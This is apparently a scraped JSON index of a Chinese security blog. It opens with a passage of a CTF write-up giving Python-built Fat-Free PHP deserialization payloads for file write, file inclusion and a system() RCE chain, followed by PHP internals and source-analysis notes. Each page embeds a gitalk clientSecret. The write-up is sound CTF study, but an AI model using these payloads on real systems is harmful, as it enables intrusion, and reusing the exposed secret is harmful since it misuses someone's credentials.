class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;CLI\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eWS\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# call func with one param\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003e__init__\u003c/span\u003e(\u003cspan class=\"params\"\u003eself, func, param\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e @namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;CLI\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eAgent\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eBase\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e @namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;DB\\\\Jig\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eMapper\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e @namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;DB\\\\SQL\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eMapper\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e protected_props = \u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;read\u0026#x27;\u003c/span\u003e: func\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e protected_file = param\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e protected_db = Mapper()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e events = \u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;disconnect\u0026#x27;\u003c/span\u003e: [Mapper(), \u003cspan class=\"string\"\u003e\u0026#x27;insert\u0026#x27;\u003c/span\u003e]\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e protected_server = Base()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e self.a = Agent() \u003cspan class=\"comment\"\u003e# autoload\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# payload: serialize(WS())\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"任意文件写\"\u003e任意文件写\u003c/h3\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;DB\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eJig\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# write file\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e lazy = \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e data = \u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;frankli.php\u0026#x27;\u003c/span\u003e: \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;asdf\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;?php phpinfo();exit();?\u0026gt;\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edir\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#x27;/tmp/\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eformat\u003c/span\u003e = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"任意(存在的)文件包含\"\u003e任意(存在的)文件包含\u003c/h3\u003e\u003cp\u003e结合上面调用函数的链调用\u003ccode\u003e\\View-\u0026gt;render\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eView\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# arbitrary **exisiting** file inclusion\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eBase\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e TEMP = \u003cspan class=\"string\"\u003e\u0026#x27;/tmp/\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e UI = \u003cspan class=\"string\"\u003e\u0026#x27;/tmp/\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e fw = Base()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.get(url, params=\u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;flag\u0026#x27;\u003c/span\u003e: serialize(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e WS([View(), \u003cspan class=\"string\"\u003e\u0026#x27;render\u0026#x27;\u003c/span\u003e], \u003cspan class=\"string\"\u003e\u0026#x27;frankli.php\u0026#x27;\u003c/span\u003e))\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e).text)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"wmctf的时候挖的rce链\"\u003ewmctf的时候挖的rce链\u003c/h3\u003e\u003cp\u003e结合上面调用函数的链调用\u003ccode\u003e\\Preview-\u0026gt;resolve\u003c/code\u003e\u003cbr\u003e然而这次\u003ccode\u003eresolve\u003c/code\u003e被删了\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;CLI\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eWS\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e @namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;CLI\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eAgent\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eF3\u003c/span\u003e:\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 随便一个存在的类\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003ePreview\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eBase\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e hive = \u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;node\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003ef\u0026#x27;\u0026lt;?php system(\u0026quot;ls\u0026quot;);die(1);?\u0026gt;\u0026#x27;\u003c/span\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e fw = Base()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e events = \u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;disconnect\u0026#x27;\u003c/span\u003e: [Preview(), \u003cspan class=\"string\"\u003e\u0026#x27;resolve\u0026#x27;\u003c/span\u003e]\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e server = F3()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e a = Agent()\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e入口点和上面函数调用的是一样的\u003c/p\u003e\u003cp\u003e分析没心情写了。。\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/08/21/Security/Writeup/fatfree%20POP/"},{"title":"PHP Lifecycle","time":"2020-08-13T16:00:00Z","content":"\u003ch2 id=\"PHP-生命周期\"\u003ePHP 生命周期\u003c/h2\u003e\n\n\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\n\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/\u003chr /\u003e\u003ch2 id=\"PHP-生命周期\"\u003ePHP 生命周期\u003c/h2\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/08/14/Security/php-src/PHP-Lifecycle/"},{"title":"PHP函数、Opcode与注册表","time":"2020-08-13T16:00:00Z","content":"\u003cp\u003e\u003ca href=\"https://blog.frankli.site/2020/08/05/WMCTF2020-PHP-source-analysis/\"\u003e上一篇\u003c/a\u003e需要一些基础知识。本篇blog除介绍这些基础知识外还会进行一些扩展,说一说PHP的其它内部原理。\u003c/p\u003e\u003chr /\u003e\u003cp\u003e\u003ca href=\"https://blog.frankli.site/2020/08/05/WMCTF2020-PHP-source-analysis/\"\u003e上一篇\u003c/a\u003e需要一些基础知识。本篇blog除介绍这些基础知识外还会进行一些扩展,说一说PHP的其它内部原理。\u003c/p\u003e\u003ch2 id=\"哈希表\"\u003e哈希表\u003c/h2\u003e\u003cp\u003ePHP在编写过程中大量使用了哈希表数据结构进行内部的处理。\u003cbr\u003eDJBX33A\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/08/14/Security/php-src/PHP-Registry-Mechanism/"},{"title":"WMCTF2020 PHP source analysis","time":"2020-08-04T16:00:00Z","content":"\u003cp\u003eWMCTF 2020中\u003ca href=\"https://zhaoj.in\"\u003e赵师傅\u003c/a\u003e出了一道PHP源码审计 \u003ccode\u003eMake PHP Great Again\u003c/code\u003e。\u003cbr\u003e\n比赛中没有做出来,非常遗憾。\u003c/p\u003e\n\u003cp\u003e作为一个赛后诸葛亮,趁着赵师傅还没发官\u003chr /\u003e\u003cp\u003eWMCTF 2020中\u003ca href=\"https://zhaoj.in\"\u003e赵师傅\u003c/a\u003e出了一道PHP源码审计 \u003ccode\u003eMake PHP Great Again\u003c/code\u003e。\u003cbr\u003e比赛中没有做出来,非常遗憾。\u003c/p\u003e\u003cp\u003e作为一个赛后诸葛亮,趁着赵师傅还没发官方分析,在此水一篇博客分析分析题目\u003c/p\u003e\u003ch2 id=\"什么事require-once\"\u003e什么事require_once\u003c/h2\u003e\u003cp\u003eas always,先看\u003ca href=\"https://www.php.net/manual/en/function.require-once.php\"\u003e文档\u003c/a\u003e\u003cbr\u003e\u003ccode\u003erequire_once\u003c/code\u003e在功能上与\u003ccode\u003erequire\u003c/code\u003e一致,只是对于任意文件都只会包含一次,而\u003ccode\u003erequire\u003c/code\u003e在正常情况下又与\u003ccode\u003einclude\u003c/code\u003e的功能一致。\u003cbr\u003e又到了日常骂文档的时间:\u003ccode\u003erequire_once\u003c/code\u003e的文档告诉我们要到\u003ccode\u003einclude_once\u003c/code\u003e的文档中查看\u003ccode\u003e_once\u003c/code\u003e的行为(\u003ccode\u003eSee the include_once documentation for information about the _once behaviour\u003c/code\u003e),而\u003ccode\u003einclude_once\u003c/code\u003e又说了几句废话带过去了(\u003ccode\u003eAs the name suggests, the file will be included just once.\u003c/code\u003e)。8愧事PHP\u003c/p\u003e\u003ch2 id=\"源码分析\"\u003e源码分析\u003c/h2\u003e\u003ch3 id=\"Entry\"\u003eEntry\u003c/h3\u003e\u003cp\u003e很多人会误以为require/include系列是函数,然而文档都写得很清楚了它们实际上是\u003ccode\u003estatement\u003c/code\u003e,语句,所以它们并没有通过\u003ccode\u003ePHP_FUNCTION\u003c/code\u003e宏注册于PHP的函数注册表中。这样的\u003ccode\u003estatement\u003c/code\u003e总共只有五个,分别是\u003ccode\u003einclude[_once]\u003c/code\u003e、\u003ccode\u003erequire[_once]\u003c/code\u003e与\u003ccode\u003eeval\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e在\u003ccode\u003eZend/zend_vm_opcodes.h\u003c/code\u003e中我们可以找到,\u003ccode\u003erequire/include\u003c/code\u003e的opcode是73\u003c/p\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/opcode.png\" class=\"\" title=\"ZEND_INCLUDE_OR_EVAL\"\u003e\u003cp\u003e而在\u003ccode\u003eZend/zend_vm_def\u003c/code\u003e中我们可以看到\u003c/p\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/handler.png\" class=\"\" title=\"ZEND_VM_HANDLER\"\u003e\u003cp\u003e可以看到,这个handler的核心在于\u003ccode\u003ezend_include_or_eval\u003c/code\u003e,接下来我们就从这个函数开始进一步分析\u003c/p\u003e\u003ch3 id=\"zend-include-or-eval\"\u003ezend_include_or_eval\u003c/h3\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/resolve.png\" class=\"\" title=\"zend_resolve_path\"\u003e\u003cp\u003e\u003ccode\u003ezend_resolve_path\u003c/code\u003e是php API的一部分,也就是说是动态赋值的。\u003cbr\u003e很容易就会发现在\u003ccode\u003ezend_startup\u003c/code\u003e步骤中出现了\u003cbr\u003e\u003ccode\u003ezend_resolve_path = utility_functions-\u0026gt;resolve_path_function;\u003c/code\u003e\u003cbr\u003e这样的语句,交叉引用看到\u003ccode\u003emain.c\u003c/code\u003e中:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003ephp_module_startup\u003c/span\u003e\u003cspan class=\"params\"\u003e(sapi_module_struct *sf, zend_module_entry *additional_modules, \u003cspan class=\"keyword\"\u003euint32_t\u003c/span\u003e num_additional_modules)\u003c/span\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zend_utility_functions zuf;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zuf.resolve_path_function = php_resolve_path_for_zend;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ezend_startup\u003c/span\u003e(\u0026amp;zuf);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e最终找到\u0026quot;真正\u0026quot;的\u003ccode\u003ezend_resolve_path\u003c/code\u003e函数,然后再琢磨一会才能找到\u003ccode\u003etsrm_realpath_r\u003c/code\u003e,但是实际上这里正常的做法是动态调试。\u003cbr\u003e在\u003ccode\u003ezend_include_or_eval\u003c/code\u003e中下断点,下在\u003ccode\u003ezend_resolve_path\u003c/code\u003e处,单步进入,会发现实际上走到了\u003ccode\u003ephar_find_in_include_path\u003c/code\u003e,原因是phar拓展拦截了\u003ccode\u003ezend_resolve_path\u003c/code\u003e函数(装饰器设计模式)。不过没关系,我们还是fallback到了\u003ccode\u003ephp_resolve_path_for_zend\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ePHP_MINIT_FUNCTION\u003c/span\u003e(phar)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eREGISTER_INI_ENTRIES\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e phar_orig_compile_file = zend_compile_file;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zend_compile_file = phar_compile_file;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e phar_save_resolve_path = zend_resolve_path;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zend_resolve_path = phar_resolve_path;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephar_object_init\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephar_intercept_functions_init\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephar_save_orig_functions\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003ephp_register_url_stream_wrapper\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;phar\u0026quot;\u003c/span\u003e, \u0026amp;php_stream_phar_wrapper);\u003c/span\u003e\u003cbr\u003e\u003cspan 